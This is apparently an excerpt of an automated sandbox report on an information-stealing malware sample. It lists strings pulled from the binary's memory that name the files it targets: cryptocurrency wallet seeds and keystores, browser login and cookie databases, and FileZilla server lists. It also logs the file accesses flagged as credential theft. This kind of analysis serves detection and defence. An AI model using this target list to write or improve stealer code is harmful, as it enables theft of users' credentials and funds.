Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

